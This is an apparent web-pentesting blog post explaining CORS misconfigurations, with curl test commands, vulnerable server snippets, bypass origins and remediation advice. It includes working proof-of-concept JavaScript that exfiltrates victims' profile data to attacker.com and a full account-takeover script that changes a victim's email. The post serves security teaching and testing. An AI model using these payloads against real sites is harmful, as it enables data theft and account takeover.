← Back to writing
Web Pentesting

CORS Misconfiguration

Oct 01, 2024
3 min read
lawbyte

CORS misconfigurations allow malicious websites to make authenticated cross-origin requests and read the responses — effectively bypassing the Same-Origin Policy. When combined with sensitive API endpoints, this leads to account takeover and data theft.

CORS Basics

Browsers enforce the Same-Origin Policy (SOP): JavaScript on attacker.com can’t read responses from target.com. CORS is the mechanism that lets servers explicitly allow certain cross-origin requests.

The server controls this via response headers:

Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Credentials: true

If ACAO is *, credentials can’t be included. The dangerous pattern is when both headers are set but ACAO is dynamically generated from the Origin header.


Testing for Vulnerabilities

Add an Origin header to requests:

# Test 1 — arbitrary origin reflected
curl -s -I https://api.target.com/user/profile \
-H "Cookie: session=valid" \
-H "Origin: https://attacker.com" | grep -i "access-control"

# Response:
# Access-Control-Allow-Origin: https://attacker.com ← VULNERABLE
# Access-Control-Allow-Credentials: true

# Test 2 — null origin
curl -s -I https://api.target.com/user/profile \
-H "Cookie: session=valid" \
-H "Origin: null" | grep -i "access-control"

# Test 3 — prefix match
curl -s -I https://api.target.com/user/profile \
-H "Origin: https://target.com.attacker.com" | grep -i "access-control"

# Test 4 — subdomain match
curl -s -I https://api.target.com/user/profile \
-H "Origin: https://subdomain.target.com" | grep -i "access-control"

Vulnerability Types

1. Reflected Origin

The server copies the Origin header directly into Access-Control-Allow-Origin:

// Vulnerable server code
response.setHeader("Access-Control-Allow-Origin", req.headers.origin);
response.setHeader("Access-Control-Allow-Credentials", "true");

PoC exploit:

<!-- host on attacker.com -->
<script>
fetch('https://api.target.com/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/steal?d=' + btoa(JSON.stringify(data)));
});
</script>

2. Null Origin

Server allows Origin: null. This is triggered by:

  • Sandboxed iframes
  • Local HTML files
  • data: URIs
  • Redirected requests
<!-- Trigger null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,
<script>
fetch('https://api.target.com/user/profile', {credentials: 'include'})
.then(r => r.text())
.then(d => location='https://attacker.com/?d='+btoa(d));
</script>">
</iframe>

3. Prefix/Suffix Trust

Server checks only that origin contains the target domain:

// Vulnerable — allows "attacker-target.com" or "target.com.evil.com"
if (origin.includes("target.com")) {
response.setHeader("Access-Control-Allow-Origin", origin);
}

Bypass:

Origin: https://target.com.attacker.com   # suffix match bypass
Origin: https://attackertarget.com # substring match bypass

4. Trusted Subdomain Takeover

Server trusts all subdomains: *.target.com. If any subdomain can be taken over:

Origin: https://abandoned-subdomain.target.com

Find dangling CNAMEs, unclaimed S3 buckets, etc. on *.target.com subdomains, claim them, host the CORS exploit there.

5. HTTP → HTTPS Trust

Server trusts the HTTP version of its own origin:

Origin: http://target.com

If you can MitM the victim’s HTTP connection, inject your exploit.


CORS with Private Networks (New Spec)

Chrome now enforces Private Network Access (PNA). Test with:

Origin: https://attacker.com
Access-Control-Request-Private-Network: true

If the server responds with Access-Control-Allow-Private-Network: true, internal network requests may be permitted.


Exploiting Pre-flight Bypass

For “simple” requests (GET, POST with standard content types), no pre-flight is sent. This means CORS misconfiguration exploits work without pre-flight approval for:

fetch('https://api.target.com/data', {
method: 'GET',
credentials: 'include'
// No custom headers = no pre-flight
})

For POST with JSON, you’d normally need a pre-flight. Bypass: use text/plain or application/x-www-form-urlencoded if the server accepts it.


Full Account Takeover PoC

<!-- attacker.com/exploit.html -->
<!DOCTYPE html>
<html>
<body>
<script>
// Step 1: get the CSRF token
fetch('https://target.com/account/settings', {credentials: 'include'})
.then(r => r.text())
.then(html => {
var token = html.match(/csrf_token[^>]+value="([^"]+)"/)[1];

// Step 2: change email using the CSRF token
return fetch('https://target.com/account/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'csrf_token=' + token + '&email=attacker@evil.com'
});
})
.then(r => {
// Step 3: exfil confirmation
fetch('https://attacker.com/done?status=' + r.status);
});
</script>
</body>
</html>

Automation

# CORStest
python corstest.py urls.txt

# corsy
python corsy.py -u https://target.com -H "Cookie: session=xxx"

# Burp Suite — look for ACAO reflecting Origin in response headers
# Param Miner extension also checks CORS

Remediation

  • Maintain an explicit allowlist of trusted origins — never reflect the Origin header directly.
  • Don’t use Access-Control-Allow-Origin: * with credentials.
  • Avoid trusting null origin in production.
  • Validate the full origin string, not a prefix or substring.
  • Use the SameSite cookie attribute as defense-in-depth.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.